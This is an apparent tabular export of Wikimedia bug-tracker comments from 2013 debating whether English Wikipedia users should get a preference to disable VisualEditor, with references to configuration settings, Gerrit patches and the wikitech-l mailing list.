+https://bugzilla.wikimedia.org/show_bug.cgi?id=52086",Medium,50.0,1373276400,1374826648.0,PHID-USER-tyjmn7xcw6s2b6rqagj7,False,,False,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_description,resolved,True,c1,3,False,False,True,1,,1,0,0,1,1,1,1,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,1,0,0,1,1,0,0,1,1,1,1,0,1,0,1,0,1,1,1,1,0,1,0,1,0,1,1,1,0,1,0,0,1,1,1,1,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,1,0,1,1,1,1,0,1,1,0,1
+243412,User preference to disable VisualEditor,"[This comment is about the generalisation in the VE extension of the deployed patch, I open the bug 52086 for this specific generalisation inside the VE product.]
+
+I can see the logic behind the introduction of the new preference (use a negative preference instead of a positive to use it on wikis where the VE is the default editor), but for the sake of generality of the VE extension it would be better to name it as ""visualeditor-preference-disable: Disable VisualEditor"" (see bug 52086).
+
+And the temporary messages related to the deployment-test in the Wikimedia environment could be overriden in the WikimediaMessages extension. E.g. 
+  ""visualeditor-preference-enable: Enable VisualEditor (experimental, [[{{int:visualeditor-feedback-link}}|please help in reporting bugs]])""
+  ""visualeditor-preference-disable: Disable VisualEditor [during the beta phase] (but [[{{int:visualeditor-feedback-link}}|please help in reporting bugs]])""
+(I guess in this case the WikimediaMessages section in InitialiseSettings.php should be move below the VisualEditor section)",,,1374837483,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,1,1,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+243408,User preference to disable VisualEditor,"I agree with hashar as well. And who knows, maybe hopefully by the time VE is out of beta this preference will not be really necessary (per comment 25). I'm pretty sure we're got at least a few months before we'll have to worry about that.",,,1374835048,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,True,,,3,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,1,0
+243403,User preference to disable VisualEditor,So you will reopen this bug as soon as VE gets stable? Promised?,,,1374833237,,PHID-USER-v3yn5qf233ggnnnmvejc,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0
+243399,User preference to disable VisualEditor,"For what it's worth, I agree with hashar. The bug as filed is resolved: there's now a user preference in the appropriate tab (""Editing"") that fully disables VisualEditor.
+
+I think we should deal with the future in the future. :-)",,,1374832672,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,False,,,3,,0,0,1,1,0,1,0,0,0,0,1,1,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,1,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+243396,User preference to disable VisualEditor,"Sorry, your perception of this bug is pretty messed up.
+
+Thhis bug is about ""disabling VE"", *not* about ""disabling VE during beta period"".
+
+The patch clearly doesn't solve this problem.",,,1374832506,,PHID-USER-v3yn5qf233ggnnnmvejc,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,0
+243393,User preference to disable VisualEditor,"This bug is about having a user preference to disable VisualEditor which is exactly what has been implemented by https://gerrit.wikimedia.org/r/#/c/75541/ . It is the proper way to handle this, not $wgHiddenPrefs :-D
+
+The fact that the preference might be gone after VE is out of beta is a different problem.  For now the request has been fulfilled as far as I understand it.  Just check the ""Temporarily disable VisualEditor while it is in beta"" in the user preference and VE is gone.",,,1374831425,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,True,,,3,,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,1,0,1,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0
+243389,User preference to disable VisualEditor,"Sorry, but this is clearly *not* fixed!
+
+* The eye-wash preference in VE is nonsense and will be gone quickly when VE comes out of beta.
+* The core of the problem - disabling VE when one surely will never use it - will not be solved by this hack.
+* The failure by WMF (deploying a buggy beta software to everybody by default) is poorly concealed by this change but not solved either.
+
+In fact you're even working against your own goals with this change: In the beta phase where feedback by editors is needed most you're now offering a preference to disable VE. When VE becomes stable and feedback is not that necessary anymore the preference will be gone, and the same discussion you're trying to mute with this change will start again.
+
+Please reopen this bug, accept https://gerrit.wikimedia.org/r/73565, so we have a real fix in place!",,,1374830485,,PHID-USER-v3yn5qf233ggnnnmvejc,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,False,,,3,,0,1,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,1,0,1,0,0,0,1,1,1,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,1,0
+243385,User preference to disable VisualEditor,Fixed in VisualEditor extension itself with https://gerrit.wikimedia.org/r/#/c/75541/,,,1374826648,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,True,,,3,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,1,0,0,0,0
+243383,User preference to disable VisualEditor,"Change 73565 abandoned by Hashar:
+(bug 50929) Remove 'visualeditor-enable' from $wgHiddenPrefs
+
+Reason:
+A preference to temporarily disable VisualEditor has been introduced in the VisualEditor extension itself : https://gerrit.wikimedia.org/r/#/c/75541/
+
+This change is thus no more needed.
+
+https://gerrit.wikimedia.org/r/73565",,,1374826585,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,1,0,1,0,1
+243380,User preference to disable VisualEditor,"Noting that the main issues causing people to disable VE are 
+1) bloat (this may be more perceived than real; the VE init.js isnt very large, and the scaffolding is used for other features besides VE) and 
+2) the UI for edit section links (which is bug 50688 and bug 50540).
+I am optimistic that both will be resolved before VisualEditor goes out of beta.",,,1374795200,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,False,,,3,,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,1,1,1,0,1,1,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,1,0,1
+243376,User preference to disable VisualEditor,"https://gerrit.wikimedia.org/r/#/c/75542/ was merged today, but it is only a dirty workaround that doesn't fix the actual problem. 
+
+What happens when VisualEditor goes out of beta? Will editors that have turned it off be required to switch to it? What if they'd prefer to keep using source editing?",,,1374790590,,PHID-USER-hxjysvdvogekpjub3nd3,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,1,1,1,0,0,1,0,1,0,1,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,0
+243372,User preference to disable VisualEditor,"C. Scott Ananian: you're out of line.
+
+Bugzilla is regularly used for discussion (among devs and non-devs alike) and calling it abuse (comment 18) to use Bugzilla's comments field for discussion isn't appropriate at all.
+
+Richard Morris' comment (comment 20) correctly points to on-wiki discussion that's directly relevant to this bug. It's long-standing practice to cross-reference on-wiki consensus-gathering discussion with Bugzilla bugs.",,,1374520048,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,False,,,3,,1,0,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,0
+243366,User preference to disable VisualEditor,"Please do not discuss on this bug. The topic is on wikitech-l which has much more audience and is way easier to handle such long discussions :-]
+
+Thread starts at:
+http://lists.wikimedia.org/pipermail/wikitech-l/2013-July/070560.html",,,1374519857,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,True,,,3,,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1
+243360,User preference to disable VisualEditor,"@Richard Morris: Please, bugzilla is a tool for developers, not a discussion forum.   Please discuss this on the wikitech-l mailing list (url above, or subscribe at https://lists.wikimedia.org/mailman/listinfo/wikitech-l) or at the RFC you linked to, or on a Talk page.  Anywhere, really, except for bugzilla.
+
+Others: please do not respond here to Richard Morris or others.  Refrain from the temptation, whether you agree with him or not.  Make your point on one of the discussion sites (again: mailing list, talk page, RFC, IRC) not in bugzilla.
+
+Thanks.",,,1374516858,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,True,,,3,,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,1,1,0,0,1,1,0,1,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,1,1,1,0,1,1,0,0,0,0
+243353,User preference to disable VisualEditor,"Have you guys not read http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/RFC there is a clear consensus, 57 vrs 6, for ""VisualEditor should have a way to be turned off fully, easily, and without continuing to leech resources"". Many people don't want it the feedback page is constantly getting ""how do I switch this off?"" threads. Failure to implement this feature is causing more work for those on the wiki and a politically very bad decision.",,,1374516605,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,False,,,3,,1,0,1,1,1,1,1,0,0,0,0,1,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,1,0,0
+243347,User preference to disable VisualEditor,"(In reply to comment #18)
+> Tyler, please follow the entire link in comment 16.
+
+I did. It's only 3-4 people talking on a talk page. Kind of pales in comparison to the numerous people who supported this in the original link.
+
+> This discussion is occuring on wikitech-l as well:
+> http://lists.wikimedia.org/pipermail/wikitech-l/2013-July/070560.html
+> 
+> It's probably better to continue the discussion on the mailing list, rather
+> than to abuse bugzilla.
+> 
+> (Just trying to synchronize the conversation.)
+
+Agreed. I've continued the discussion there.",,,1374512041,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1
+243341,User preference to disable VisualEditor,"Tyler, please follow the entire link in comment 16.
+
+This discussion is occuring on wikitech-l as well: http://lists.wikimedia.org/pipermail/wikitech-l/2013-July/070560.html
+
+It's probably better to continue the discussion on the mailing list, rather than to abuse bugzilla.
+
+(Just trying to synchronize the conversation.)",,,1374511815,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,True,,,3,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,0,0,0,1,1,0,0
+243338,User preference to disable VisualEditor,"(In reply to comment #16)
+> Per
+> https://en.wikipedia.org/w/index.php?title=User_talk:
+> Eloquence&diff=564621335&oldid=564492863
+> and other lengthy discussion, this is and remains a WONTFIX.
+
+This is one user's talk page. What discussion are you referring to? Is the link at the top of the page no longer the consensus? Also I'd like to know exactly what reasoning there is for having this preference hidden.",,,1374511268,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,1,1,0,1
+243334,User preference to disable VisualEditor,"Per https://en.wikipedia.org/w/index.php?title=User_talk:Eloquence&diff=564621335&oldid=564492863 and other lengthy discussion, this is and remains a WONTFIX.
+
+VisualEditor is switched on or off at the wiki-level, not on the per-user level. The fact that there is a temporary artefact of the alpha roll-out still around in the code that allows us to expose this option to users for the next few weeks (until it too goes away once the alpha roll-out is no longer needed) does not mean we should dishonestly mis-lead users into thinking that we are supporting this as a preference, which is what implementing this request would do.",,,1374510712,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,True,,,3,,1,0,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,1,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,1,1,1,0,0
+243328,User preference to disable VisualEditor,That would reopen bug 48666 Make VisualEditor a hidden preference.,,,1374499371,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,True,,,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0
+243325,User preference to disable VisualEditor,*** Bug 51389 has been marked as a duplicate of this bug. ***,,,1373926494,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+243322,User preference to disable VisualEditor,"Change 73565 had a related patch set uploaded by Odder:
+(bug 50929) Remove 'visualeditor-enable' from $wgHiddenPrefs
+
+https://gerrit.wikimedia.org/r/73565",,,1373712372,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0
+243318,User preference to disable VisualEditor,"(In reply to comment #7)
+> This will not be a request only for English Wikipedia any longer, as soon as
+> the VE is activated by default on Wikipedias in other languages. Keep that in
+> mind!
+
+just in case what Bartos wrote is not 100% clear:
+
+The extension already implement a user-selectable enable/disable switch - nothing should be done there. 
+LocalSettings.php for enwiki specifically removes the choice, by setting the line
+
+""$wgHiddenPrefs[] = 'visualeditor-enable';""
+
+this bug is basically a request to delete this line from enwiki's LocalSettings.php, and thus allowing users to opt-out of VE.
+
+a derivative request would be such: once VE is enabled by default on other wikis, please do not to add such a line to their LocalSettings.php.
+the second part is a ""forward looking"" request, i.e. it's a request not to do something in the future, without actually knowing if there's any intention to do it...
+
+(as a side, it seems that the decision to remove user's switch was not a good one: the main result of this decision was that on enwiki, someone had to write a special gadget for disabling VE, instead of just using the built-in switch...)
+
+peace.",,,1373576253,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,False,,,1,,1,1,0,1,1,1,1,0,0,1,1,1,0,1,1,0,0,1,1,1,1,1,1,0,1,0,0,0,0,1,0,1,1,1,1,0,1,0,0,1,0,1,1,1,1,1,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+243314,User preference to disable VisualEditor,"Great, thank you.
+
+I'm marking this bug with the ""easy"" keyword accordingly.",,,1373566995,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,0,1,0,0,0
+243309,User preference to disable VisualEditor,"(In reply to comment #9)
+> Can you explain what the code in this area looks like? There _was_ a user
+> preference previously, it's just gone missing. Is this simply a matter of
+> setting a configuration variable?
+
+Yes, it's just a matter of removing ""$wgHiddenPrefs[] = 'visualeditor-enable';"" in CommonSettings.php.",,,1373561265,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,True,,,1,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,1,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,1,1,1,1,0,0,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+243304,User preference to disable VisualEditor,"(In reply to comment #6)
+> This is actually a site request for the English Wikipedia right now, as this
+> preference is enabled everywhere else right now. Changing Product/Component
+> accordingly.
+
+Can you explain what the code in this area looks like? There _was_ a user preference previously, it's just gone missing. Is this simply a matter of setting a configuration variable?",,,1373559939,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,False,,,1,,0,0,0,1,0,1,1,0,0,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,1,1,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,1,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+243300,User preference to disable VisualEditor,"(In reply to comment #3)
+> This should be in the obvious place, in the editing tab of user preferences,
+> not a gadget.
+
+Yep.",,,1373559883,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,1
+243292,User preference to disable VisualEditor,"This will not be a request only for English Wikipedia any longer, as soon as the VE is activated by default on Wikipedias in other languages. Keep that in mind!",,,1373557859,,PHID-USER-v3yn5qf233ggnnnmvejc,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,False,,,1,,1,0,0,1,1,1,1,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0
+243284,User preference to disable VisualEditor,"This is actually a site request for the English Wikipedia right now, as this preference is enabled everywhere else right now. Changing Product/Component accordingly.",,,1373557628,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+243275,User preference to disable VisualEditor,*** Bug 51179 has been marked as a duplicate of this bug. ***,,,1373557556,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+243263,User preference to disable VisualEditor,"Created attachment 12827
+en.wp temporary workaround
+
+Since I doubt this will get fixed any time soon, I have implemented a change to a label, to redirect users with words from on preferences tab to another.
+
+**Attached**: {F11458}",,,1373534882,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,True,,,1,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+243254,User preference to disable VisualEditor,"This should be in the obvious place, in the editing tab of user preferences, not a gadget.",,,1373454425,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+243247,User preference to disable VisualEditor,"(Quote from comment #0)
+> The gadget isn't perfect, as the tab might appear for short time before it is
+> removed again, and has to updated when VE integration changes.",,,1373357086,,PHID-USER-tyjmn7xcw6s2b6rqagj7,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,1
+243240,User preference to disable VisualEditor,"To disable: Preferences > Gadgets > Editing (section) > checkmark for ""Remove VisualEditor from the user interface"" > Save
+
+This is probably mentioned on http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback",,,1373280320,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+52925,"VisualEditor: Edit section links below a diff should point to the rev shown, not the (older) rev the diff compares against","See: https://en.wikipedia.org/w/index.php?title=New%20Zealand%20English&diff=0&oldid=123
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
